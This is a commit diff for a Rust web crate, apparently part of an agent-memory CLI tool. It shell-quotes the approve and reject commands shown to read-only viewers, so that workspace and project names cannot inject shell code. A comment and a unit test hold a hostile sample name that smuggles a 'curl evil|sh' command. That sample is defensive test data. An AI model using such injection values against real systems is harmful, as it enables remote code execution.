Skip to content

Solution for long term memory for agent coding CLIs and to facilitate handoff between different agent vendors

Rust

fix(web): shell-quote the pending-writes commands shown to a read-only browser

AkitaOnRailscfc07868fbfd
diff --git a/crates/ai-memory-web/src/routes/pending.rs b/crates/ai-memory-web/src/routes/pending.rs
index e1e48acd..edc7f30f 100644
--- a/crates/ai-memory-web/src/routes/pending.rs
+++ b/crates/ai-memory-web/src/routes/pending.rs
@@ -175,8 +175,13 @@ fn pending_row(review: PendingAutoImproveReview) -> PendingRow {
let staged_relative = jiff::Timestamp::from_microsecond(summary.staged_at)
.map(|ts| humanize(&ts.to_string()))
.unwrap_or_default();
+ let id = summary.id.to_string();
+ let cli_approve = cli_command("approve", &id, &review.workspace_name, &review.project_name);
+ let cli_reject = cli_command("reject", &id, &review.workspace_name, &review.project_name);
PendingRow {
- id: summary.id.to_string(),
+ id,
+ cli_approve,
+ cli_reject,
scope_label: label,
target_href: page_href(&review.workspace_name, &review.project_name, &target_path),
workspace: review.workspace_name,
@@ -196,9 +201,57 @@ fn pending_row(review: PendingAutoImproveReview) -> PendingRow {
}
}
+/// The `ai-memory pending-writes <verb>` command a reviewer pastes into a
+/// shell. Workspace and project names are free text, so each argument is
+/// quoted: a project named `x; curl … | sh` must stay one argument instead of
+/// running when root pastes the line.
+fn cli_command(verb: &str, id: &str, workspace: &str, project: &str) -> String {
+ format!(
+ "ai-memory pending-writes {verb} {} --workspace {} --project {}",
+ posix_quote(id),
+ posix_quote(workspace),
+ posix_quote(project)
+ )
+}
+
+/// Quote one POSIX shell argument: unchanged when it holds only characters a
+/// shell never interprets, otherwise single-quoted with embedded `'` escaped.
+fn posix_quote(text: &str) -> String {
+ if !text.is_empty()
+ && text
+ .chars()
+ .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.' | '/' | ':' | '@'))
+ {
+ return text.to_owned();
+ }
+ format!("'{}'", text.replace('\'', "'\\''"))
+}
+
fn render(view: impl Template, status: StatusCode) -> Response {
match view.render() {
Ok(body) => (status, Html(body)).into_response(),
Err(_) => StatusCode::INTERNAL_SERVER_ERROR.into_response(),
}
}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ /// A project or workspace name with shell syntax stays one quoted
+ /// argument; plain names are left readable.
+ #[test]
+ fn cli_commands_quote_names_with_shell_syntax() {
+ assert_eq!(
+ cli_command("approve", "abc123", "default", "my-app"),
+ "ai-memory pending-writes approve abc123 --workspace default --project my-app"
+ );
+ let hostile = cli_command("reject", "abc123", "team ws", "x'; curl evil|sh;'");
+ assert_eq!(
+ hostile,
+ "ai-memory pending-writes reject abc123 --workspace 'team ws' \
+ --project 'x'\\''; curl evil|sh;'\\'''"
+ );
+ assert_eq!(posix_quote(""), "''");
+ }
+}
diff --git a/crates/ai-memory-web/src/templates.rs b/crates/ai-memory-web/src/templates.rs
index bb2b569d..47271350 100644
--- a/crates/ai-memory-web/src/templates.rs
+++ b/crates/ai-memory-web/src/templates.rs
@@ -725,6 +725,11 @@ pub(crate) struct PendingRow {
pub is_rule: bool,
/// The proposal rewrites an existing page.
pub rewrites_existing: bool,
+ /// `ai-memory pending-writes approve` for this row, shell-quoted, shown to
+ /// a browser that can only read the page.
+ pub cli_approve: String,
+ /// The matching `reject` command.
+ pub cli_reject: String,
}
/// One `<option>` in a triage-page filter.
diff --git a/crates/ai-memory-web/templates/pending.html b/crates/ai-memory-web/templates/pending.html
index 46019ebf..98ef2a3e 100644
--- a/crates/ai-memory-web/templates/pending.html
+++ b/crates/ai-memory-web/templates/pending.html
@@ -98,8 +98,8 @@
</div>
<p class="text-xs text-slate-500 dark:text-slate-400 font-mono break-all">id {{ row.id }}</p>
{% if read_only %}
- <pre class="whitespace-pre-wrap break-all rounded-md bg-slate-50 dark:bg-slate-900 p-3 text-xs text-slate-700 dark:text-slate-300">ai-memory pending-writes approve {{ row.id }} --workspace {{ row.workspace }} --project {{ row.project }}
-ai-memory pending-writes reject {{ row.id }} --workspace {{ row.workspace }} --project {{ row.project }} --reason "..."</pre>
+ <pre class="whitespace-pre-wrap break-all rounded-md bg-slate-50 dark:bg-slate-900 p-3 text-xs text-slate-700 dark:text-slate-300">{{ row.cli_approve }}
+{{ row.cli_reject }}</pre>
{% else %}
<div class="flex flex-wrap items-center gap-2">
<button type="button" data-action="approve"